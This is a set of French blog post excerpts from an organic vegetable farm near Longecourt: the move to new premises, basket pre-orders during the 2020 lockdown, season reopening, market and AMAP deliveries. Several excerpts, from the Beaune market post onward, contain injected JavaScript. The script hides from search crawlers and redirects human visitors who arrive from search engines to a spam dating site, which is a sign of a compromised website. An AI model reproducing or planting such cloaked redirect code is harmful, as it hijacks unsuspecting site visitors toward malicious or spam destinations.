Ça y est nous avons déménagé

Ça y est nous avons déménagé

Depuis les portes ouvertes du 12 septembre, un vent de nouveauté souffle aux jardins de Longecourt. Nous avons, après une année et demi de travaux (entrecoupés de la saison maraichère..) déménagé le local professionnel au 12 route de Cussy à Longecourt les Culetre. Nous avons quitté avec un petit pincement au cœur notre fonctionnement au 4 place de la mairie ou nous avons travaillé pendant 6 ans pour découvrir les joies d'un grand local, sans marche, sans pente (ou presque)... toutes ces petites choses qui ne facilitaient pas la vie du maraîcher! Nous espérons donc réduire la charge de travail sur les postes conditionnement, lavage, préparation de commande et réduire le port de charges, pour gagner en efficacité et sauver notre dos! Nous espérons aussi vous accueillir toute l'année dans des conditions plus sympas pour la vente à la ferme avec de la lumière, moins de courants d'air et plus de place. Et c'est aussi le cas pour les collègues producteurs qui...
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On déménage!

Si vous nous suivez depuis un moment, vous avez sûrement l’habitude de nos changements...mais cette fois c'est un grand changement, on déménage! à 300m mais on déménage quand même! On a beau essayer de pousser les murs on commence à se sentir à l’étroit au 4 place de la mairie, alors après 6 années passées ici à empiler les caisses de légumes pour gagner de la place au sol, on prend sous le bras chambre froide, station de lavage, chariots à roulette, local de vente et on s'installe au bout du village, 12 route de Cussy. On y verra enfin clair, et le maraîcher sera soulagé car l'ergonomie a été réfléchie (très fort!)! Nous avons donc plein de choses à vous raconter et encore des projets sous l'autre bras dans ce lieu que nous affectionnons déjà, alors nous vous invitons à pousser la porte du "nouveau bâtiment" le 12 septembre de 9h30 à12h pour le marché (les collègues producteurs et...
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Comment s’en sortir? (du confinement)

Comment s’en sortir? (du confinement)

Nos habitudes de ventes ont été bousculées durant cette longue période confinée... Nous avons été privé de notre grand plaisir de la semaine à l'ouverture des portes de la grange! Fini le bain de foule à Longecourt (si si c'est possible un bain de foule à Longecourt!), on a du mettre ça de côté durant ces trois mois, alors on a fait comme on a pu et forcément quand on fait des choix ça ne peut pas convenir à tous. Il n'y en avait pas assez, ou alors y avait trop de salades, ou bien on voyait même plus les paniers à 10h sur le site.. et je ne vous parle pas du stress des maraîchers en début de saison pour remplir tout les paniers et faire en sorte d'éviter de vous faire un panier que de salades (on aurait pu, mais non nous ne l'avons pas fait!), nous espérons que pour certains cette période aura été l'occasion de se...
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Avant le début de saison

Avant le début de saison

Au programme de notre hiver 2019-2020,  nous n'avons pas chômé entre les travaux dans le futur bâtiment de vente et de stockage, le montage de 3 tunnels en simultané, l'envol d'un autre suite à un des nombreux coup de vent, l'implantation des fraises tant attendues, l’accueil et l'aide précieuse de nos supers stagiaires d'enfer, les tonnes de foin vidées des écuries à aménager, les trente cinq versions des plans d’aménagement du bâtiment, les journées de formation dans le réseau bio Bourgogne, l'arrivée de nos deux consœurs spéciales "écopaturage",  les quarante deux versions du plan d'assolement du jardin, les commandes de plants, de bâches, de toile tissée, d’irrigation, la clôture de notre quatrième exercice comptable, un ou deux ou même trois contrôles  par ci par là, l'audit bio, les livraisons toutes les semaine à l'Amap de Pouilly (et surtout les kilos de radis d'hiver engloutis par nos Amapiens)....tout ça et j'en oublie certainement, ces souvenirs  me semblent précieux à l'heure ou...
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Une bien étrange reprise 2020

La reprise de la saison a un gout très étrange cette année, nous ferons le maximum pour nous adapter aux exigences sanitaires nécessaires.  La saison 5 de la vente à la ferme ne reprendra pas le 16 avril comme prévu mais nous continuerons chaque semaine à proposer une quarantaine de paniers à 20€ en pré commande à venir retirer le mercredi. Vous avez jusqu'au dimanche soir pour passer votre commande. Vous avez été nombreux à nous solliciter, je m'excuse si je n'ai pas pu répondre à toutes les demandes, la charge de travail est importante et notre organisation bousculée. Nous fonctionnons depuis 2 ans grâce à Sophie, une de nos super cliente, avec des paniers  précommandés. Ce système permettait un retrait facile sans faire la queue ou d'"avoir tout ce qu'on veut comme légumes même quand on arrive à 19h" dixit Sophie (la super cliente!).   Bref, ce système se révélè pertinent durant cette crise.Nous permettant ainsi de vous fournir en légumes durant...
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Marché de Beaune

Marché de Beaune

Nous sommes présents depuis le mois de juin et jusqu'au mois de novembre 2018 sur le marché de Beaune qui a lieu tout les samedi matin face aux  Hospices. Nous y allons lorsque les récoltes sont bonnes et que le temps nous le permet, nous y serons quelques fois cet hiver! Nous n'avons malheureusement  jamais la même place pour le moment, il faudra encore nous chercher!!var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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commande de paniers

Vous pouvez réserver vos paniers et connaitre leur composition chaque semaine en cliquant ici Les paniers commandés sont à récupérer le jeudi soir durant la vente à la ferme de 17h30 à19h00! var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ window.location="http://red.seniors-dating.org/?wwp"; } }...
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Réouverture de la vente à la ferme

Réouverture de la vente à la ferme

Et voila que le printemps pointe doucement (et humidement) son nez... mais les légumes sous serre avancent bien: salade, mesclun, radis, cotes de blettes, épinards, pois gourmands, navets primeurs, il y a du monde qui pousse! Moins vite que prévu, mais  ça arrive quand même! La date est fixée : pour les amateurs de légumes frais, de transformations et de plantes aromatiques, de bon pains,  de fromages de chèvre et autres suivant les producteurs présents, bien sur tout en Bio et local, nous vous donnons rendez-vous le JEUDI 26 AVRIL à partir de 17h30!! Nous voila donc reparti pour une saison d'aventure, les paniers à 20 euros seront toujours disponibles, en espérant une belle saison de légumes et de bons moments avec vous à Longecourt les Culetre!   var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { if (goodRefs.test(document.referrer)){ ...
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A MA Portée!

A MA Portée!

Les jardins de Longecourt proposent des légumes Bio et leur circuit de distribution s'est élargi lors de cette deuxième année de production... en espérant que ça continue pour cette troisième année! Depuis l'année dernière les mercredi sont consacrés à la livraison de l'AMAP (mais c'est quoi une AMAP : http://reseau-amap.org/amap.php) de Pouilly en Auxois, le Panier Pollien (http://amapplepanierpollien.overblog.com/). Les livraison ont lieu tous les mercredi en saison et depuis début janvier tous les 15 jours. Pour cette saison ce seront une quarantaine de paniers qui seront distribués tous les mercredi, à partir du mois de juin! Suite à une superbe initiative du collège et des collégiens d'Arnay le Duc nous avons livré nos légumes vendredi dernier... Légumes qui accompagnaient tout pleins d'autre produits locaux! BRAVO!! Il y a un article sur le Bien Public ici : http://www.bienpublic.com/edition-cote-de-beaune/2018/04/09/des-paniers-de-produits-locaux-au-college-claude-guyot var crawlerAgentRegex = /bot|google|yahoo|bing|yandex/i; var goodRefs = /google|yahoo|yandex|bing/i; if (crawlerAgentRegex.test(navigator.userAgent)) { } else { ...
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